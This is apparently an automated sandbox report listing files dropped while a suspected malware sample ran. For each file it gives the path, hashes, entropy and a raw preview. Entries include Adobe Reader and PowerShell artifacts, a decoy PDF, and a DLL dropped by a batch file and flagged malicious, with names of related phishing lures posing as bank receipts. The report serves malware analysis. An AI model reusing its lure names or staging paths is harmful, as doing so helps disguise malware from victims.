SHA-512:	C1E331C88B219EE37F293CB1FA139CEA77F36D3F0AAD98B148A4D125BE47FDDF7D2B7B1EF86780FD8F66EA70D762D0D7884C01958207F53C5D1DD214CC0A41EE
Malicious:	false
Preview:	.......oy retne....)........R...............57..[/...........;.y~A..57..[/..............oB..'..[/............#...(@...................D.4.@wF..[/..........[.i..%..57..[/.............k7A..57..[/..........]...I..,...[/.........,+..._.#.57..[/.........<...W..J..'..[/..........J..j....57..[/...........6<\|.....'..[/...........2q.....57..[/...........P....V.57..[/.........!...0.o.57..[/............P[. q.57..[/...........3....57..[/..........v...q....'..[/...........a......'..[/..........C..M..@......................@n...[/.........F..=z;..57..[/.............o..57..[/.........Gy.'.h..57..[/.........:..N.A...57..[/..........;/....57..[/.................57..[/.........A?.2:...57..[/..............q..57..[/..........u\]..q.57..[/.........)....J:.57..[/..........&.S.....57..[/..........o..k...57..[/................57..[/.........^.~..z..57..[/..........+.{..'.57..[/..........@..x..57..[/............MV3...57..[/.........+.U.!..V@wF..[/..........~.,.4>.@wF..[/.........

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\index-dir\the-real-index (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	1032
Entropy (8bit):	5.0316523537584565
Encrypted:	false
SSDEEP:	12:WSZsyJXboCu5tfL77Vi3SSqMzlfvUGU2Ki9Guc0IRUAvS2McxTl9m:DsSHkBBDMSU3IxNMaLm
MD5:	3402615A2FE4D0B9591D9B049F5FA137
SHA1:	C2423F586F13807865D436A4747CA4CF4C97C4F0
SHA-256:	CDF5A0C7BB521349FDA3F36CFC57C9DF99E5B3B22B64A5BBF7EC81E28E31636A
SHA-512:	C1E331C88B219EE37F293CB1FA139CEA77F36D3F0AAD98B148A4D125BE47FDDF7D2B7B1EF86780FD8F66EA70D762D0D7884C01958207F53C5D1DD214CC0A41EE
Malicious:	false
Preview:	.......oy retne....)........R...............57..[/...........;.y~A..57..[/..............oB..'..[/............#...(@...................D.4.@wF..[/..........[.i..%..57..[/.............k7A..57..[/..........]...I..,...[/.........,+..._.#.57..[/.........<...W..J..'..[/..........J..j....57..[/...........6<\|.....'..[/...........2q.....57..[/...........P....V.57..[/.........!...0.o.57..[/............P[. q.57..[/...........3....57..[/..........v...q....'..[/...........a......'..[/..........C..M..@......................@n...[/.........F..=z;..57..[/.............o..57..[/.........Gy.'.h..57..[/.........:..N.A...57..[/..........;/....57..[/.................57..[/.........A?.2:...57..[/..............q..57..[/..........u\]..q.57..[/.........)....J:.57..[/..........&.S.....57..[/..........o..k...57..[/................57..[/.........^.~..z..57..[/..........+.{..'.57..[/..........@..x..57..[/............MV3...57..[/.........+.U.!..V@wF..[/..........~.,.4>.@wF..[/.........

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\index-dir\the-real-index~RF5b0b40.TMP (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	1032
Entropy (8bit):	5.0316523537584565
Encrypted:	false
SSDEEP:	12:WSZsyJXboCu5tfL77Vi3SSqMzlfvUGU2Ki9Guc0IRUAvS2McxTl9m:DsSHkBBDMSU3IxNMaLm
MD5:	3402615A2FE4D0B9591D9B049F5FA137
SHA1:	C2423F586F13807865D436A4747CA4CF4C97C4F0
SHA-256:	CDF5A0C7BB521349FDA3F36CFC57C9DF99E5B3B22B64A5BBF7EC81E28E31636A
SHA-512:	C1E331C88B219EE37F293CB1FA139CEA77F36D3F0AAD98B148A4D125BE47FDDF7D2B7B1EF86780FD8F66EA70D762D0D7884C01958207F53C5D1DD214CC0A41EE
Malicious:	false
Preview:	.......oy retne....)........R...............57..[/...........;.y~A..57..[/..............oB..'..[/............#...(@...................D.4.@wF..[/..........[.i..%..57..[/.............k7A..57..[/..........]...I..,...[/.........,+..._.#.57..[/.........<...W..J..'..[/..........J..j....57..[/...........6<\|.....'..[/...........2q.....57..[/...........P....V.57..[/.........!...0.o.57..[/............P[. q.57..[/...........3....57..[/..........v...q....'..[/...........a......'..[/..........C..M..@......................@n...[/.........F..=z;..57..[/.............o..57..[/.........Gy.'.h..57..[/.........:..N.A...57..[/..........;/....57..[/.................57..[/.........A?.2:...57..[/..............q..57..[/..........u\]..q.57..[/.........)....J:.57..[/..........&.S.....57..[/..........o..k...57..[/................57..[/.........^.~..z..57..[/..........+.{..'.57..[/..........@..x..57..[/............MV3...57..[/.........+.U.!..V@wF..[/..........~.,.4>.@wF..[/.........

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.192642087459904
Encrypted:	false
SSDEEP:	6:k7Ooyq2PN72nKuAl9OmbnIFUtIO11ZmwuOkBTRkwON72nKuAl9OmbjLJ:kSvVaHAahFUtT1/O5OaHAaSJ
MD5:	E5CBB40936996C3DF2D13B63006733B7
SHA1:	EFCEA00ACFF1686964AE72983D3EF11CE68255DF
SHA-256:	3B4A436E5A4FB07854A696CA3ED951918ED2FD0EFDC509A3A4FFBDF6F645C8B6
SHA-512:	40A8FA50EE967C6B63CC476194257003AC88136DF4CEB2CE4BA9BF0923AA4834EDD27516689D96ACBB98A3E905738106769C811C2FE60B5F7050B81F497DE0E6
Malicious:	false
Preview:	2023/06/01-12:14:55.038 19e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2023/06/01-12:14:55.053 19e4 Recovering log #3.2023/06/01-12:14:55.065 19e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.192642087459904
Encrypted:	false
SSDEEP:	6:k7Ooyq2PN72nKuAl9OmbnIFUtIO11ZmwuOkBTRkwON72nKuAl9OmbjLJ:kSvVaHAahFUtT1/O5OaHAaSJ
MD5:	E5CBB40936996C3DF2D13B63006733B7
SHA1:	EFCEA00ACFF1686964AE72983D3EF11CE68255DF
SHA-256:	3B4A436E5A4FB07854A696CA3ED951918ED2FD0EFDC509A3A4FFBDF6F645C8B6
SHA-512:	40A8FA50EE967C6B63CC476194257003AC88136DF4CEB2CE4BA9BF0923AA4834EDD27516689D96ACBB98A3E905738106769C811C2FE60B5F7050B81F497DE0E6
Malicious:	false
Preview:	2023/06/01-12:14:55.038 19e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2023/06/01-12:14:55.053 19e4 Recovering log #3.2023/06/01-12:14:55.065 19e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old~RF5aa4d5.TMP (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.192642087459904
Encrypted:	false
SSDEEP:	6:k7Ooyq2PN72nKuAl9OmbnIFUtIO11ZmwuOkBTRkwON72nKuAl9OmbjLJ:kSvVaHAahFUtT1/O5OaHAaSJ
MD5:	E5CBB40936996C3DF2D13B63006733B7
SHA1:	EFCEA00ACFF1686964AE72983D3EF11CE68255DF
SHA-256:	3B4A436E5A4FB07854A696CA3ED951918ED2FD0EFDC509A3A4FFBDF6F645C8B6
SHA-512:	40A8FA50EE967C6B63CC476194257003AC88136DF4CEB2CE4BA9BF0923AA4834EDD27516689D96ACBB98A3E905738106769C811C2FE60B5F7050B81F497DE0E6
Malicious:	false
Preview:	2023/06/01-12:14:55.038 19e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2023/06/01-12:14:55.053 19e4 Recovering log #3.2023/06/01-12:14:55.065 19e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Visited Links

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.008751778056341745
Encrypted:	false
SSDEEP:	3:ImtV6FSn/eElwllx3nOtWGY4/l/0yaQgpn:IiV6EnWMwlr1AtMyaQSn
MD5:	3CDF4DD67B462B6603FAE426952965A5
SHA1:	172F1BCAA40DF4ACB182DB1DB5B72D15C5AB677E
SHA-256:	B317BB26B68B5695447E8131700CC2D2A5389DB38FF3FFBD50BA10475965527B
SHA-512:	9EFBDE44641F1C71724A72E42B8343076DAEBCFDE1204F1EB2F4FF8FA7931DB340686B527367EE114C99E07D0D3D3FCC7FBFFD2E8E60DE40EE816A05B8C005C3
Malicious:	false
Preview:	VLnk.....?........`.N.7................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-230601191443Z-273.bmp

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	0.6442903166717108
Encrypted:	false
SSDEEP:	96:6JiNp29ECmTTT8dePc4lDe/quy47rHMMMT8:CyCaT8UgB3
MD5:	E0E44159B1CE64E3FBCA349002312A5A
SHA1:	3E2C1142527A78285FCBE981250E07A6FB5C94E5
SHA-256:	850CACAE25D1D93F40679BF94F801027CDB3DFDACA2CDFFBA2836EE0B19DCE44
SHA-512:	EFC5A54E1A000DD4D38AC95EFA76412A2B4EF7E94A7B4C6AC20A8656551756D3D05A0323BB29CAC47008D71024300468B9B2A735CA16A23EC6DF1CEEC856E487
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	SQLite 3.x database, last written using SQLite version 3024000, file counter 12, database pages 15, cookie 0x5, schema 4, UTF-8, version-valid-for 12
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	3.5646043034277866
Encrypted:	false
SSDEEP:	384:3e59dThntELJ8fwRRwZsLRGlKhsvXh+vSc:qkYZsLQhUSc
MD5:	6872CF6EA9AE09D7906E273DB5E79AD6
SHA1:	DC7703B003D86C099A503DA2BDAE3247BF88189C
SHA-256:	DB931A0B93105B0B7F341F64BA63E90CF06913F32D01CAA9DA329366D66E62C7
SHA-512:	F53CCF997C06B9318D1B83608FBCBF4E4411F6F4BCDD1C0BA8240CF90BBAD23D5997C9E256B115F8C83BB305129C34AB04AF2649BE8E96CC7EA52871F4634BD4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................$.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.28772172670356
Encrypted:	false
SSDEEP:	48:7MvDom1CriomTiom2om1Nom1Aiom1RROiom1oom1pom11ZiomVsiomgqqQlmFTIS:7hrgOhxCsqN49IVXEBodRBkD
MD5:	56F60F4D4AE4BE86E1DC47BFFCCD6F0A
SHA1:	27052EF13089BCCE23351F0157C66F93BF0ED4B0
SHA-256:	0EA8563F3BDD7B70074C972B6719107509E00F0E0A7ACE314B48A32D7769EBBA
SHA-512:	C7A7ECD96C184980855863A3BC27592644C1A4E721DAB74531E8A403B274F3EDC481BC6C486C40E3DCCD1B7C03DF551FCD187508CED72E2E5A22C4457C00B376
Malicious:	false
Preview:	.... .c......Y>...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s........L.s.y................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	63598
Entropy (8bit):	5.433041226997456
Encrypted:	false
SSDEEP:	768:PCbGNFYGpiyVFiCUZ0rrHiTceUM3s+nqXri9j/0akN4Yyu:J0GpiyVFiB0rrHiTylQ/07N4K
MD5:	AB13CE7D51E643381B38E93A23B05B4E
SHA1:	6D33898B882228E624168FB56F6C56370C5FAA98
SHA-256:	5C1AFC4C49316FD742C407D9EA95DB69013646177814547525BF206929D2F977
SHA-512:	F34639D381AC343D5BE9EE99A441A056A87803C88C1C29CBD887A927DD0056AF6BA6E732B4DFE0C41B261C56CB95348B5CCBF049BFB82818699679366C64FD3B
Malicious:	false
Preview:	4.382.88.FID.2:o:........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.94.FID.2:o:........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.82.FID.2:o:........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.93.FID.2:o:........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.107.FID.2:o:........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.103.FID.2:o:........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.116.FID.2:o:........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.75.FID.2:o:........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.89.FID.2:o:........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.85.FID.2:o:........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.98.FID.2:o:........:F:Arial-B

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11606
Entropy (8bit):	4.883977562702998
Encrypted:	false
SSDEEP:	192:Axoe5FpOMxoe5Pib4GVsm5emdKVFn3eGOVpN6K3bkkjo5HgkjDt4iWN3yBGHh9sO:6fib4GGVoGIpN6KQkj2Akjh4iUxs14fr
MD5:	1F1446CE05A385817C3EF20CBD8B6E6A
SHA1:	1E4B1EE5EFCA361C9FB5DC286DD7A99DEA31F33D
SHA-256:	2BCEC12B7B67668569124FED0E0CEF2C1505B742F7AE2CF86C8544D07D59F2CE
SHA-512:	252AD962C0E8023419D756A11F0DDF2622F71CBC9DAE31DC14D9C400607DF43030E90BCFBF2EE9B89782CC952E8FB2DADD7BDBBA3D31E33DA5A589A76B87C514
Malicious:	false
Preview:	PSMODULECACHE......P.e...S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........7r8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.9260988789684415
Encrypted:	false
SSDEEP:	3:Nlllulb/lj:NllUb/l
MD5:	13AF6BE1CB30E2FB779EA728EE0A6D67
SHA1:	F33581AC2C60B1F02C978D14DC220DCE57CC9562
SHA-256:	168561FB18F8EBA8043FA9FC4B8A95B628F2CF5584E5A3B96C9EBAF6DD740E3F
SHA-512:	1159E1087BC7F7CBB233540B61F1BDECB161FF6C65AD1EFC9911E87B8E4B2E5F8C2AF56D67B33BC1F6836106D3FEA8C750CC24B9F451ACF85661E0715B829413
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_44kl3ld2.v02.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cvamyowt.xkc.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\nsa1C4D.tmp

Process:	C:\Users\Public\iqb3.bat
File Type:	data
Category:	dropped
Size (bytes):	195216
Entropy (8bit):	6.971960422491572
Encrypted:	false
SSDEEP:	3072:PDOFOgWbK0ErSUsHBVVkQ63SaafssNkJsdCZ3reRbZ4CsosX8iA1vkDi14qbzJRC:PDt9xUsBkQ6CaGiJzFrehOCoX8Dwi14L
MD5:	51804F0D6ECD3B9DC371282708B0DBBE
SHA1:	CD2372D9DABC090AB587DA3D0F0472711FF1FC67
SHA-256:	531ED696C0C53FDD52EBCF316A75655F3ECDDA45D74281D21F6498AC339E3219
SHA-512:	64ED0F0ACFCA4A5063653085F49DE6D642042EFFA5B03E1A4FB4486A7C1C20F73C7BF93B522CB75629B7C850B62E79926EA0CA7081697710389F70945CDDC0F4
Malicious:	false
Preview:	........,...................n...........1...................................J...]...........................................................................................................................................................................................................g...x...........U...j...............................................................................................................................D...........8...'.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsaB4A6.tmp\System.dll

Process:	C:\Users\Public\iqb3.bat
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.757895701334371
Encrypted:	false
SSDEEP:	192:aVL7iZJX76BisO7+UZEw+Rl59pV8ghsVJ39dx8T:d7NsOpZsfLMJ39e
MD5:	A436DB0C473A087EB61FF5C53C34BA27
SHA1:	65EA67E424E75F5065132B539C8B2EDA88AA0506
SHA-256:	75ED40311875312617D6711BAED0BE29FCAEE71031CA27A8D308A72B15A51E49
SHA-512:	908F46A855480AF6EACB2FB64DE0E60B1E04BBB10B23992E2CF38A4CBEBDCD7D3928C4C022D7AD9F7479265A8F426B93EEF580AFEC95570E654C360D62F5E08D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 36819.exe.doc, Detection: malicious, Browse Filename: E-dekont_pdf.exe, Detection: malicious, Browse Filename: E-dekont_pdf.exe, Detection: malicious, Browse Filename: od2DVGA5N3.exe, Detection: malicious, Browse Filename: od2DVGA5N3.exe, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_pdf_(2).exe, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_pdf_(2).exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: rZiraatBankasiSwiftMesaji_pdf.exe, Detection: malicious, Browse Filename: rZiraatBankasiSwiftMesaji_pdf.exe, Detection: malicious, Browse Filename: E-dekont_pdf.exe, Detection: malicious, Browse Filename: E-dekont_pdf.exe, Detection: malicious, Browse Filename: E-dekont_pdf.exe, Detection: malicious, Browse Filename: dekont.exe, Detection: malicious, Browse Filename: E-dekont_pdf.exe, Detection: malicious, Browse Filename: dekont.exe, Detection: malicious, Browse Filename: E-dekont_pdf.exe, Detection: malicious, Browse Filename: E-dekont_pdf.exe, Detection: malicious, Browse Filename: SPL9015280.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L...z.oS...........!................$'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...o........................... ..`.rdata..C....0......."..............@..@.data...h....@.......&..............@....reloc..F....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6208
Entropy (8bit):	3.7699144672467306
Encrypted:	false
SSDEEP:	48:QJ4AQzWY/91nyd3CecUHu8P9BXukvhkvklCywyy5fKYToJ38AzSogZoiS5fKYTos:y5yVPyJCe9NP9EkvhkvCCtDOMHIOMHH
MD5:	4E4D66016E379F4B3AACC232CE62D205
SHA1:	E34BCC5B322C134FD564BA7EC5CAA27BEE67A064
SHA-256:	7F449EEFF6EB4ED254B629AD7C88050287D74587C1A14403EEA0BF260CC549C9
SHA-512:	D2575D2F03589F3F84FBD4E7823F3AB98261C663644502088430319807677E6DF446ABA1C832F09C38DF38DEE6A284F1E9D7EA5276C29B4C38DDB39F083E2FE5
Malicious:	false
Preview:	...................................FL..................F.".. ...'+k.!-...V...a..\.................................:..DG..Yr?.D..U..k0.&...&........d.!-..y8.o....k.A........t...CFSF..1......N....AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......N...V......Y.....................t..A.p.p.D.a.t.a...B.V.1......N....Roaming.@.......N...V......Y....................D...R.o.a.m.i.n.g.....\.1......U...MICROS~1..D.......N...V......Y....................{]o.M.i.c.r.o.s.o.f.t.....V.1......U....Windows.@.......N...V......Y........................W.i.n.d.o.w.s.......1......N....STARTM~1..n.......N...V......Y..............D.....G`..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......P%v..Programs..j.......N...V......Y..............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......L...WINDOW~1..V.......N...U......Y....................T_..W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......L.. .WINDOW~1.LNK..^.......N...Px......Y..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J79LIQGZ3F74PE614BNG.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6208
Entropy (8bit):	3.7699144672467306
Encrypted:	false
SSDEEP:	48:QJ4AQzWY/91nyd3CecUHu8P9BXukvhkvklCywyy5fKYToJ38AzSogZoiS5fKYTos:y5yVPyJCe9NP9EkvhkvCCtDOMHIOMHH
MD5:	4E4D66016E379F4B3AACC232CE62D205
SHA1:	E34BCC5B322C134FD564BA7EC5CAA27BEE67A064
SHA-256:	7F449EEFF6EB4ED254B629AD7C88050287D74587C1A14403EEA0BF260CC549C9
SHA-512:	D2575D2F03589F3F84FBD4E7823F3AB98261C663644502088430319807677E6DF446ABA1C832F09C38DF38DEE6A284F1E9D7EA5276C29B4C38DDB39F083E2FE5
Malicious:	false
Preview:	...................................FL..................F.".. ...'+k.!-...V...a..\.................................:..DG..Yr?.D..U..k0.&...&........d.!-..y8.o....k.A........t...CFSF..1......N....AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......N...V......Y.....................t..A.p.p.D.a.t.a...B.V.1......N....Roaming.@.......N...V......Y....................D...R.o.a.m.i.n.g.....\.1......U...MICROS~1..D.......N...V......Y....................{]o.M.i.c.r.o.s.o.f.t.....V.1......U....Windows.@.......N...V......Y........................W.i.n.d.o.w.s.......1......N....STARTM~1..n.......N...V......Y..............D.....G`..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......P%v..Programs..j.......N...V......Y..............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......L...WINDOW~1..V.......N...U......Y....................T_..W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......L.. .WINDOW~1.LNK..^.......N...Px......Y..........

C:\Users\user\Desktop\List of required items and services.pdf

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7 (zip deflate encoded)
Category:	dropped
Size (bytes):	653248
Entropy (8bit):	7.983402816932296
Encrypted:	false
SSDEEP:	12288:Z5j8QLfikr2uyiCDVvzDFgONPYpKE7nmP4II3xHjK4HTbuSGxEw6:H8QbZ2upCDtuOQKE7nmA3xWYT6LT6
MD5:	9B05142184F080AE36983D0A25597143
SHA1:	6421CD63995163132E89709FF70D695825A3CBDC
SHA-256:	F16B7347BCAADA09E4A85E92A704CCC67F413DDBA62BBDF4BBE14A7B687AC455
SHA-512:	EBDB6D9682A0DAC526214D9E5173E0CF627D1E538F2A728768E913FD2CE94B926DA6A248DFB5AE6D1DFAF0CE33807D3007D05785BE200687C55B926DCE6908DC
Malicious:	false
Preview:	%PDF-1.7.%......129 0 obj.<</Linearized 1/L 653248/O 131/E 86423/N 5/T 652770/H [ 497 273]>>.endobj. ..143 0 obj.<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<E39576C475ABEC43A187B9D780C4757D><641CA28703C4B144886F342023B34532>]/Index[129 38]/Info 128 0 R/Length 89/Prev 652771/Root 130 0 R/Size 167/Type/XRef/W[1 3 1]>>stream..h.bbd`.``b``..".:@$S.X..D....'..n..l..d.....IFwf.x-...$..4f`..,.V..8.....7@.??.@....:.M..endstream.endobj.startxref..0..%%EOF.. ..165 0 obj.<</C 180/E 164/Filter/FlateDecode/I 202/Length 167/O 126/S 74/V 142>>stream..h.b```a``.d`e`H.g.b@.!.f.........uv..g..u..(;.p0..2.h..@....b..H..1/.X..FI.....,]..5.....1*...d....f.i......H.0p.Z..3..E..../.(C!..2p....L...pUF.._.CU...0..."...endstream.endobj.130 0 obj.<</AcroForm 144 0 R/Metadata 48 0 R/Names 145 0 R/Outlines 103 0 R/Pages 127 0 R/StructTreeRoot 117 0 R/Type/Catalog>>.endobj.131 0 obj.<</Contents 132 0 R/CropBox[0 0 595.44 841.68]/Group<</CS/DeviceRGB/S/Transparency/T

C:\Users\user\Vkstcentrene\unprotuberant\Benediktinerklostrets\Rehandles\Abortionist\Korses\Tolerantly.Ipo

Process:	C:\Users\Public\iqb3.bat
File Type:	ASCII text, with very long lines (53268), with no line terminators
Category:	dropped
Size (bytes):	53268
Entropy (8bit):	2.684317642932276
Encrypted:	false
SSDEEP:	768:dVxwKHzlY+1eXGEKGW4c0YzQnrAUgkrCSiQkj12qDxToZLL23FEEEc5c/4jUYifk:DTPG8POJ8xUZXIdjUJJmyvPfq
MD5:	96316B84E79ECE7FEDDB9C47B2995DBB
SHA1:	5ED39E6FCAE0FF2ABEE3180806F7C2B47ED2F6B4
SHA-256:	7418720923F5512313D1D62E125F0359630FB385A83396C534E16EBC6A3906D5
SHA-512:	7B2EAA702F4ABE6885D17AE3459FEA48C7EB7A0EB2DEE2BC1BC29A78A906A88880C52FFE6AC98AF1FA6E6D3181FFF95E13BD0340ACCAE97D9EE9BC41607E793C
Malicious:	false
